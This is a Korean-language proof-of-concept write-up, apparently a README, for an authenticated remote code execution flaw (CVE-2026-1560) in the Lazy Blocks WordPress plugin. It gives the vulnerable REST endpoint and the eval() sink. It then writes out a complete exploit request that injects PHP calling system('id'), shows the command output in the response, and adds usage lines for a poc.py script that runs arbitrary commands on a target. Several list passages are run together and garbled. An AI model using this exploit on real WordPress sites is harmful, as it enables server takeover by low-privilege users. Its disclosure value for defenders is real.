
CVE-2026-1560에 대한 개념 증명 익스플로잇으로, Lazy Blocks WordPress 플러그인의 인증된 원격 코드 실행 취약점으로, 낮은 권한의 사용자가 REST API를 통해 임의의 PHP를 실행할 수 있게 합니다.
연구자: ZeYrOXxx
플러그인: Custom Block Builder – Lazy Blocks
영향받는 버전: ≤ 4.2.0
심각도: 높음(High)
CVSS: 8.8
취약점 유형: 인증된 원격 코드 실행(RCE)
공격 경로: REST API
필요 권한: edit_posts (Contributor 이상)
Custom Block Builder – Lazy Blocks WordPress 플러그인에서 4.2.0 이하 버전에 영향을 미치는 높은 수준의 보안 취약점이 확인되었습니다.
이 취약점은 낮은 권한(Contributor 역할)을 가진 인증된 사용자가 블록 미리보기 기능을 위해 설계된 REST API 엔드포인트를 통해 서버에서 임의의 PHP 코드를 실행할 수 있게 합니다.
이 문제는 WordPress의 권한 모델을 완전히 무너뜨리며 서버 전체 장악으로 이어질 수 있습니다.
POST /wp-json/lazy-blocks/v1/block-builder-preview/
이 엔드포인트는 edit_posts 권한을 가진 모든 인증된 사용자가 접근할 수 있습니다.
REST 라우트는 취약한 권한 콜백으로 등록되어 있습니다:
'permission_callback' => array( $this, 'block_builder_preview_permission' )
여기에는 절대 PHP 코드를 실행할 수 없어야 하는 Contributor도 포함됩니다.
REST 컨트롤러 – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
블록 렌더러 – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
eval() 함수는 공격자가 제어하는 PHP 코드를 검증이나 필터링 없이 실행합니다.
Lazy Blocks는 블록에 대한 사용자 정의 PHP 렌더링 로직을 허용합니다.
REST API 미리보기 엔드포인트는 사용자가 제공한 블록 정의를 수락하며 신뢰할 수 있는 저장된 블록과 공격자가 제어하는 미리보기 블록을 구분하지 않습니다.
다음과 같은 평면화된 블록 속성을 주입하여:
code_output_methodcode_editor_html공격자는 php_eval() 실행 지점에 도달하여 임의의 PHP 코드를 실행할 수 있습니다.
요청:
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [Contributor_Credentials]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
응답:
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ 임의 명령 실행 확인됨
이 PoC는 보안 테스트 및 연구 목적으로만 엄격히 제공됩니다.
Contributor 접근 권한이 있는 공격자는 다음을 수행할 수 있습니다:
wp-config.php)eval() 사용 제거manage_options 또는 unfiltered_html 권한 요구requests 라이브러리edit_posts 권한이 있는 유효한 WordPress 자격 증명(Contributor 이상)pip install requests
python3 poc.py <target_url> <username> <password> "<command>"
python3 poc.py https://victim.site contributor password "id"
대상이 취약한 경우 명령 출력이 HTTP 응답에 반환됩니다.
⚠️ 이 개념 증명은 승인된 보안 테스트 및 연구 목적으로만 엄격히 제공됩니다.